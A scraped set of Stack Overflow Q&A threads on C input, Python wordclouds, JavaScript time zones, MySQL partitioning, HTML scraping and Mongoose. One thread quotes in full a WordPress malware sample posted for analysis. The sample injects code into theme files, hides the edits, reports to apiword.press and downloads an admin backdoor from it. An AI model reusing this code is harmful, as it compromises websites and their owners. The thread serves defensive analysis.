Is there a way to get around this? Or is there another function I can use instead?

答:
There is no standard direct replacement for gets(), but there are many easy ways to get rid of the newline if present:

The simplest using strcspn (declared in <string.h>):

```<code>if (fgets(buf, sizeof buf, fp)) {
    buf[strcspn(buf, "\n")] = '\0';
}
</code>```

The classic using strlen:

```<code>if (fgets(buf, sizeof buf, fp)) {
    size_t len = strlen(buf);
    if (len > 0 && buf[len - 1] == '\n')
        buf[--len] = '\0';
}
</code>```

Another classic with strchr:

```<code>if (fgets(buf, sizeof buf, fp)) {
    char *p = strchr(buf, '\n');
    if (p != NULL)
        *p = '\0';
}
</code>```

An alternative is the POSIX function getline() which might be available on your system:

```<code>#include <stdio.h>
ssize_t getline(char **lineptr, size_t *n, FILE *stream);
</code>```

The buffer is allocated or reallocated with malloc() and its size is updated into *n. The initial values should be lineptr = NULL and n = 0.

Title: Alternative to gets?

Body:
I used to use gets but then I heard that it got removed from c11 and that its overall very dangerous.
So I did some searching and found out that you can use fgets() to do the same thing.

The problems is that when I do use fgets() it seems to also copy the end of the line aswell, which ends up making an extra unwanted line.

To show you what I mean:

//if I have
char key[30];
fgets(key, sizeof(key), stdin);

//now if ender for instance: Doggo and do:
printf("The key is:%s|hozaah!\n", key);

//I expect it to print:
The key is:Doggo|hozaah!

//Instead it prints:
The key is:Doggo
|hozaah!

Is there a way to get around this? Or is there another function I can use instead?

Body:
There is no standard direct replacement for gets(), but there are many easy ways to get rid of the newline if present:

The simplest using strcspn (declared in <string.h>):

if (fgets(buf, sizeof buf, fp)) {
    buf[strcspn(buf, "\n")] = '\0';
}

The classic using strlen:

if (fgets(buf, sizeof buf, fp)) {
    size_t len = strlen(buf);
    if (len > 0 && buf[len - 1] == '\n')
        buf[--len] = '\0';
}

Another classic with strchr:

if (fgets(buf, sizeof buf, fp)) {
    char *p = strchr(buf, '\n');
    if (p != NULL)
        *p = '\0';
}

An alternative is the POSIX function getline() which might be available on your system:

#include <stdio.h>
ssize_t getline(char **lineptr, size_t *n, FILE *stream);

The buffer is allocated or reallocated with malloc() and its size is updated into *n. The initial values should be lineptr = NULL and n = 0.


问:
Python creating wordcloud no output
I am creating a wordcloud from a dictionary, for the wordcloud I use the library wordcloud created by the github user amueller.

This is my code:

```<code>from wordcloud import WordCloud, STOPWORDS
import matplotlib.pyplot as plt

    MyData= {u'arbeid': 0.0006715695865686539,
      u'banen': 0.00066821988636323406,
      u'begrotingsherstel': 0.00071106447864468028,
      u'belastingplan': 0.00064287666559415511,
      u'bestuursakkoord': 0.00085938678272561703,
      u'duurzame': 0.00086622249359887991,
      u'energie': 0.00071735256545447078,
      u'energievoorziening': 0.00091959448177479836,
      u'europa': 0.00077342364155819174,
      u'inkomens': 0.00086651160197001511,
      u'kabinet': 0.0012281373248267241,
      u'pakket': 0.00078934462283374919,
      u'premier': 0.00098440752486735842,
      u'slob': 0.0010329596055417033,
      u'verdaas': 0.00072183114176594104}

    type(test)

    WordCloud().generate_from_frequencies(MyData)
    plt.show()
</code>```

The problem that I have is that if i do not use plt.show() than I only get the following as output:

```<code><wordcloud.wordcloud.WordCloud at 0x350700f0>
</code>```

If I recall correctly plt.show() should draw the object but it is not!

答:
You have to save result of WordCloud().generate_from_frequencies(MyData) to variable and then use matplotlib.pyplot.imshow to plot it.

```<code>from wordcloud import WordCloud, STOPWORDS
import matplotlib.pyplot as plt

# test data
MyData= {u'arbeid': 0.0006715695865686539,
      u'banen': 0.00066821988636323406,
      u'begrotingsherstel': 0.00071106447864468028,
      u'belastingplan': 0.00064287666559415511,
      u'bestuursakkoord': 0.00085938678272561703,
      u'duurzame': 0.00086622249359887991,
      u'energie': 0.00071735256545447078,
      u'energievoorziening': 0.00091959448177479836,
      u'europa': 0.00077342364155819174,
      u'inkomens': 0.00086651160197001511,
      u'kabinet': 0.0012281373248267241,
      u'pakket': 0.00078934462283374919,
      u'premier': 0.00098440752486735842,
      u'slob': 0.0010329596055417033,
      u'verdaas': 0.00072183114176594104}
# generate wordcloud
wcloud = WordCloud().generate_from_frequencies(MyData)

# make figure to plot
plt.figure()
# plot words
plt.imshow(wcloud, interpolation="bilinear")
# remove axes
plt.axis("off")
# show the result
plt.show()
</code>```

Title: Python creating wordcloud no output

Body:
I am creating a wordcloud from a dictionary, for the wordcloud I use the library wordcloud created by the github user amueller.

This is my code:

from wordcloud import WordCloud, STOPWORDS
import matplotlib.pyplot as plt

    MyData= {u'arbeid': 0.0006715695865686539,
      u'banen': 0.00066821988636323406,
      u'begrotingsherstel': 0.00071106447864468028,
      u'belastingplan': 0.00064287666559415511,
      u'bestuursakkoord': 0.00085938678272561703,
      u'duurzame': 0.00086622249359887991,
      u'energie': 0.00071735256545447078,
      u'energievoorziening': 0.00091959448177479836,
      u'europa': 0.00077342364155819174,
      u'inkomens': 0.00086651160197001511,
      u'kabinet': 0.0012281373248267241,
      u'pakket': 0.00078934462283374919,
      u'premier': 0.00098440752486735842,
      u'slob': 0.0010329596055417033,
      u'verdaas': 0.00072183114176594104}

    type(test)

    WordCloud().generate_from_frequencies(MyData)
    plt.show()

The problem that I have is that if i do not use plt.show() than I only get the following as output:

<wordcloud.wordcloud.WordCloud at 0x350700f0>

If I recall correctly plt.show() should draw the object but it is not!

Body:
You have to save result of WordCloud().generate_from_frequencies(MyData) to variable and then use matplotlib.pyplot.imshow to plot it.

from wordcloud import WordCloud, STOPWORDS
import matplotlib.pyplot as plt

# test data
MyData= {u'arbeid': 0.0006715695865686539,
      u'banen': 0.00066821988636323406,
      u'begrotingsherstel': 0.00071106447864468028,
      u'belastingplan': 0.00064287666559415511,
      u'bestuursakkoord': 0.00085938678272561703,
      u'duurzame': 0.00086622249359887991,
      u'energie': 0.00071735256545447078,
      u'energievoorziening': 0.00091959448177479836,
      u'europa': 0.00077342364155819174,
      u'inkomens': 0.00086651160197001511,
      u'kabinet': 0.0012281373248267241,
      u'pakket': 0.00078934462283374919,
      u'premier': 0.00098440752486735842,
      u'slob': 0.0010329596055417033,
      u'verdaas': 0.00072183114176594104}
# generate wordcloud
wcloud = WordCloud().generate_from_frequencies(MyData)

# make figure to plot
plt.figure()
# plot words
plt.imshow(wcloud, interpolation="bilinear")
# remove axes
plt.axis("off")
# show the result
plt.show()


问:
Convert UTC time string to local timezone in javascript
How to convert a string in UTC like '11:00' to local time in the same format. I have used Date function in javascript to convert that but I want a fast and reliable alternative.

Also to get Time zone abbreviation and day of the week in the local timezone.

答:
How to convert a string in UTC like '11:00' to local time in the same
  format.

In the following, "local" means values returned by the non-UTC methods, which take into account the host system timezone setting.

One method is to create a Date, set the UTC time to the appropriate time, then read back the local time values, e.g.

var d = new Date();
// Set time to 11:00
d.setUTCHours(11,0,0,0);
// Get "local" date and time
console.log(d.toString());```
</div>
</div>
</p>

<blockquote>
  <p>I have used Date function in javascript to convert that but I
  want a fast and reliable alternative.</p>
</blockquote>

<p>Questions asking for recommendations of books, libraries, tools, etc. are off-topic.</p>

<blockquote>
  <p>Also to get Time zone abbreviation </p>
</blockquote>

<p>There are various resources to estimate the name of the timezone, however there is no standard for names. Most resolution methods are based on the host timezone offset for various dates, which is not 100% reliable, particularly as there is no agreement on what the name should be.</p>

<blockquote>
  <p>and day of the week in the local timezone.</p>
</blockquote>

<p>The local day of the week is provided by the <em>getDay</em> method, so:</p>

```var dayNumber = d.getDay(); // 0 for Sunday, 1 for Monday, etc.
```

<p>If the ECMA-402 Internationalisation interface is supported, you can get week day names in the host default language using:</p>

<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var d = new Date();
console.log('Today is ' + d.toLocaleString(undefined, {weekday: 'long'}) + '.')</code>```

Body:
How to convert a string in UTC like '11:00' to local time in the same
  format.

In the following, "local" means values returned by the non-UTC methods, which take into account the host system timezone setting.

One method is to create a Date, set the UTC time to the appropriate time, then read back the local time values, e.g.

var d = new Date();
// Set time to 11:00
d.setUTCHours(11,0,0,0);
// Get "local" date and time
console.log(d.toString());

I have used Date function in javascript to convert that but I
  want a fast and reliable alternative.

Questions asking for recommendations of books, libraries, tools, etc. are off-topic.

Also to get Time zone abbreviation

There are various resources to estimate the name of the timezone, however there is no standard for names. Most resolution methods are based on the host timezone offset for various dates, which is not 100% reliable, particularly as there is no agreement on what the name should be.

and day of the week in the local timezone.

The local day of the week is provided by the getDay method, so:

var dayNumber = d.getDay(); // 0 for Sunday, 1 for Monday, etc.

If the ECMA-402 Internationalisation interface is supported, you can get week day names in the host default language using:

var d = new Date();
console.log('Today is ' + d.toLocaleString(undefined, {weekday: 'long'}) + '.')


问:
mysql partitioning
I would like to partition by a column name YEAR and column name MONTH.
It seemed that it would be nice to use LIST for YEAR and SUB PARTITION by MONTH in another list.

What would be the syntax for the subpartition part?

Is it possible to subpartition a list with another list?

Or should I use a different partitioning scheme?

答:
The subpartition syntax is in the manual.

No, you can't subpartition a LIST with another LIST. You may partition by LIST, but you must subpartition by HASH or KEY.

ContentLicense: CC BY-SA 2.5

Title: mysql partitioning


问:
Strategy for getting href link from HTML table
My web scraper searches return varying numbers of tablerows, and I am not used to dealing with tables. These tables are 3 columns each. I check to see if the street number in the first column is correct. If it is, then I need to get the link out of the third column of that row. Any thoughts on it? My  code obviously doesn't work, but should give an idea of what I'm trying to do. My code currently doesn't deal with data row by row, only td by td.

What my ideal code would look like:

Grabs first table row

Checks if street # in first column matches

If # matches, grab the link in the third column

If # doesn't match, move to check next table row

I'm still EXTREMELY new to programming, so my code is on the clunky simplistic (but poorly written) side still.

HTML in question

```<code><tr>
  <td class="transactionTableBodyText">5250 S RAINBOW BLVD 1001  </td>
  <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
  <td class="transactionTableBodyText" align="center">
    <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7" target="_self">163-26-214-001</a>
  </td>
</tr>
</code>```

My Pythonic Selenium code.

```<code>td = driver.find_elements_by_css_selector("td.transactionTableBodyText")
    i = 0
    while i <= len(td):
        try:
            if StrtNum in td[i].text:
                print("We matched %s!" % (StrtNum))

                #This is the incorrect part where I try to get to the 'a' selector in the 3rd column from the correctly identified 1st column.
                ParcelLink = td[i+2].driver.find_elements_by_css_selector('a').get_attribute('href')
                print(ParcelLink)
            else:
                return
        except:
            break
        i+=1
</code>```

答:
Another string for your bow: lxml. It gives you access to xpath expressions which can simplify the job of navigating HTML.

```<code>>>> from lxml import etree
>>> parser = etree.HTMLParser()
>>> tree = etree.fromstring(open('sample.htm').read(), parser)
>>> for td in tree.xpath('.//table/tr/td[@class="transactionTableBodyText"][1]'):
...     if td.text.startswith('5250'):
...         tr = td.getparent()
...         td_3_link = tr.xpath('./td[3]/a')
...         link = td_3_link[0].attrib['href']
...
>>> link
'http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7'
</code>```

As you can see, I make use of a REPL environment so that I can experiment with various approaches as I try to converge on something that works well and seems reasonably robust.

Almost forgot, this is the HTML I was parsing.

```<code><table>
    <tr>
      <td class="transactionTableBodyText">1000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">5250 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">2000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">2000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
</table>'''
</code>```

Body:
My web scraper searches return varying numbers of tablerows, and I am not used to dealing with tables. These tables are 3 columns each. I check to see if the street number in the first column is correct. If it is, then I need to get the link out of the third column of that row. Any thoughts on it? My  code obviously doesn't work, but should give an idea of what I'm trying to do. My code currently doesn't deal with data row by row, only td by td.

What my ideal code would look like:

Grabs first table row

Checks if street # in first column matches

If # matches, grab the link in the third column

If # doesn't match, move to check next table row

I'm still EXTREMELY new to programming, so my code is on the clunky simplistic (but poorly written) side still.

HTML in question

  5250 S RAINBOW BLVD 1001
  SPRING VALLEY

    163-26-214-001

My Pythonic Selenium code.

td = driver.find_elements_by_css_selector("td.transactionTableBodyText")
    i = 0
    while i <= len(td):
        try:
            if StrtNum in td[i].text:
                print("We matched %s!" % (StrtNum))

                #This is the incorrect part where I try to get to the 'a' selector in the 3rd column from the correctly identified 1st column.
                ParcelLink = td[i+2].driver.find_elements_by_css_selector('a').get_attribute('href')
                print(ParcelLink)
            else:
                return
        except:
            break
        i+=1

Body:
Another string for your bow: lxml. It gives you access to xpath expressions which can simplify the job of navigating HTML.

>>> from lxml import etree
>>> parser = etree.HTMLParser()
>>> tree = etree.fromstring(open('sample.htm').read(), parser)
>>> for td in tree.xpath('.//table/tr/td[@class="transactionTableBodyText"][1]'):
...     if td.text.startswith('5250'):
...         tr = td.getparent()
...         td_3_link = tr.xpath('./td[3]/a')
...         link = td_3_link[0].attrib['href']
...
>>> link
'http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&hdnInstance=pcl7'

As you can see, I make use of a REPL environment so that I can experiment with various approaches as I try to converge on something that works well and seems reasonably robust.

Almost forgot, this is the HTML I was parsing.

<table>
    <tr>
      <td class="transactionTableBodyText">1000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&amp;hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">5250 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&amp;hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">2000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&amp;hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
    <tr>
      <td class="transactionTableBodyText">2000 S RAINBOW BLVD 1001  </td>
      <td class="transactionTableBodyText" align="center">SPRING VALLEY</td>
      <td class="transactionTableBodyText" align="center">
        <a id="DataGrid1__ctl3_HyperLink2" href="http://Sandgate.co.clark.nv.us/AssrRealProp/ParcelDetail.aspx?hdnParcel=16326214001&amp;hdnInstance=pcl7" target="_self">163-26-214-001</a>
      </td>
    </tr>
</table>'''


问:
Malware research - What this code do in PHP
I have been cleaning an infected Wordpress site and found this malicious code as follows. I want to know what this code do? such as steal username, password or anything else. The malware adds some codes to wp-includes/post.php and then it create a files wp-includes/wp-cd.php
Here is base64 decode

```<code><?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
    {
        switch ($_REQUEST['action'])
            {
                case 'get_all_links';
                    foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
                        {
                            $data['code'] = '';

                            if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
                                {
                                    $data['code'] = $_[1];
                                }

                            print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
                        }
                break;

                case 'set_id_links';
                    if (isset($_REQUEST['data']))
                        {
                            $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');

                            $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
                            if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

                            if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
                                {
                                    print "true";
                                }
                        }
                break;

                case 'create_page';
                    if (isset($_REQUEST['remove_page']))
                        {
                            if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
                                {
                                    print "true";
                                }
                        }
                    elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
                        {
                            if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
                                {
                                    print "true";
                                }
                        }
                break;

                default: print "ERROR_WP_ACTION WP_URL_CD";
            }

        die("");
    }

if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
    {
        $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
        if ($data -> full_content)
            {
                print stripslashes($data -> content);
            }
        else
            {
                print '<!DOCTYPE html>';
                print '<html ';
                language_attributes();
                print ' class="no-js">';
                print '<head>';
                print '<title>'.stripslashes($data -> title).'</title>';
                print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
                print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
                print '<meta name="robots" content="index, follow" />';
                print '<meta charset="';
                bloginfo( 'charset' );
                print '" />';
                print '<meta name="viewport" content="width=device-width">';
                print '<link rel="profile" href="http://gmpg.org/xfn/11">';
                print '<link rel="pingback" href="';
                bloginfo( 'pingback_url' );
                print '">';
                wp_head();
                print '</head>';
                print '<body>';
                print '<div id="content" class="site-content">';
                print stripslashes($data -> content);
                get_search_form();
                get_sidebar();
                get_footer();
            }

        exit;
    }

?>
</code>```

Here is wp-cd.php file added by malware

```<code><?php

//install_code

    $install_code = '[encoded data, 5424 characters]';

    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';

            $ping = true;

            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }

                                }
                        }

                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }

    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }

//install_code_end

?><?php error_reporting(0);?>
</code>```

答:
I know it's an old question, but maybe my answer will help someone. The code pasted here is coming from pretty dangerous malware that besides modifications in post.php and functions.php creates file containing a backdoor: /wp-includes/class.wp.php - at this point malware creator can do pretty much anything he like.

At the moment of the infection malware is looking for other copies od WordPress everywhere where it can, then infect them as well.

With this malware detected you have to assume that all files that could have been accessed and overwritten from within WordPress directory may be infected or modified. The damage and reach of this malware is limited only by file and user permissions that your web server have at hand at the moment of the infection.

My best advice is to remove everything that could have been touched by the malware and load backups of both files and databases from before the infection. The important thing is to get to know when it happened, so first find the source of infection (usually a modified 'premium' WordPress plugin downloaded from shady website to save a few bucks - but hey, I'm not judging) and check when it was installed exactly.

I decrypted and collected complete source code of this malware and put it on GitHub, so you can analyse it's code by yourself:
https://github.com/ecrider/Black-SEO-WordPress-Malware

Body:
I have been cleaning an infected Wordpress site and found this malicious code as follows. I want to know what this code do? such as steal username, password or anything else. The malware adds some codes to wp-includes/post.php and then it create a files wp-includes/wp-cd.php
Here is base64 decode

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
    {
        switch ($_REQUEST['action'])
            {
                case 'get_all_links';
                    foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
                        {
                            $data['code'] = '';

                            if (preg_match('!
(.*?)
!s', $data['post_content'], $_))
                                {
                                    $data['code'] = $_[1];
                                }

                            print '<e><w>1</w><url>' . $data['guid'] . '</url>' . $data['code'] . '<id>' . $data['ID'] . '</id></e>' . "\r\n";
                        }
                break;

                case 'set_id_links';
                    if (isset($_REQUEST['data']))
                        {
                            $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');

                            $post_content = preg_replace('!
(.*?)
!s', '', $data -> post_content);
                            if (!empty($_REQUEST['data'])) $post_content = $post_content . '
' . stripcslashes($_REQUEST['data']) . '
';

                            if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
                                {
                                    print "true";
                                }
                        }
                break;

                case 'create_page';
                    if (isset($_REQUEST['remove_page']))
                        {
                            if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
                                {
                                    print "true";
                                }
                        }
                    elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
                        {
                            if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
                                {
                                    print "true";
                                }
                        }
                break;

                default: print "ERROR_WP_ACTION WP_URL_CD";
            }

        die("");
    }

if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
    {
        $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
        if ($data -> full_content)
            {
                print stripslashes($data -> content);
            }
        else
            {
                print '<!DOCTYPE html>';
                print '';
                print '';
                print '<title>'.stripslashes($data -> title).'</title>';
                print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
                print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
                print '<meta name="robots" content="index, follow" />';
                print '<meta charset="';
                bloginfo( 'charset' );
                print '" />';
                print '<meta name="viewport" content="width=device-width">';
                print '<link rel="profile" href="http://gmpg.org/xfn/11">';
                print '<link rel="pingback" href="';
                bloginfo( 'pingback_url' );
                print '">';
                wp_head();
                print '';
                print '';
                print '
';
                print stripslashes($data -> content);
                get_search_form();
                get_sidebar();
                get_footer();
            }

        exit;
    }

?>

Here is wp-cd.php file added by malware

<?php

//install_code

    $install_code = '[encoded data, 5424 characters]';

    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';

            $ping = true;

            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }

                                }
                        }

                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }

    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }

//install_code_end

?><?php error_reporting(0);?>


问:
Mongoose aggregate orders in an hour
I have a Mongoose Model called 'Order' that keeps track of user orders.

I want to group the orders by hour, and find how many orders were placed each hour, for the current day.

I have attempted to use the aggregation framework built into mongoose but cant figure out how to achieve this.

Could anyone give me an example of how this would work?

Ideally I want an output like the following

```<code>{0: 2, 1: 5, 2:4,...,23:2}
</code>```

